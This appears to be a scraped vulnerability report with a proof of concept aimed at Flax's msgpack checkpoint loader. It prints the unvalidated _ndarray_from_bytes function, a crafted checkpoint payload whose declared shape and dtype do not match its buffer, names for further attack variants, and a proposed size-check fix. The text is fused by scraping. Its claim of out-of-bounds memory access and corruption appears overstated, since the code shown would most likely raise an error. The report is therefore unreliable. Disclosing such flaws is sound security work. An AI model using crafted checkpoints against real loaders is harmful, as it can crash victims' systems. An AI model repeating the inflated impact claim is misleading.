Views
No views yet
.msgpack checkpoint files that cause:flax/serialization.py (Lines 270-275)1def _ndarray_from_bytes(data: bytes) -> np.ndarray:
2 shape, dtype_name, buffer = msgpack.unpackb(data, raw=True)
3 return np.frombuffer(
4 buffer, dtype=_dtype_from_name(dtype_name), count=-1, offset=0
5 ).reshape(shape, order='C') # ❌ NO VALIDATION!1# Attacker crafts malicious checkpoint:
2malicious_payload = msgpack.packb((
3 (1000000000,), # Claims 1 billion elements = 8GB
4 b'float64', # 8 bytes per element
5 b'\x00' * 8 # Only provides 8 bytes!
6))
7
8# Victim loads checkpoint:
9flax.serialization.msgpack_restore(malicious_payload)
10
11# Result: Out-of-bounds memory access → CRASH or CORRUPTIONpython3 poc_01_memory_corruption.pymassive_allocation: Trigger OOM with huge claimed shapedtype_confusion: Mismatch dtype size with buffernegative_shape: Trigger integer underflow_ndarray_from_bytes():1def _ndarray_from_bytes(data: bytes) -> np.ndarray:
2 shape, dtype_name, buffer = msgpack.unpackb(data, raw=True)
3 dtype = _dtype_from_name(dtype_name)
4
5 # ✅ ADD THIS CHECK:
6 expected_size = np.prod(shape) * dtype.itemsize
7 if len(buffer) != expected_size:
8 raise ValueError(f"Shape/buffer mismatch: expected {expected_size} bytes, got {len(buffer)}")
9
10 return np.frombuffer(buffer, dtype=dtype).reshape(shape, order='C')poc_01_memory_corruption.py - Proof-of-concept exploitREADME.md - This file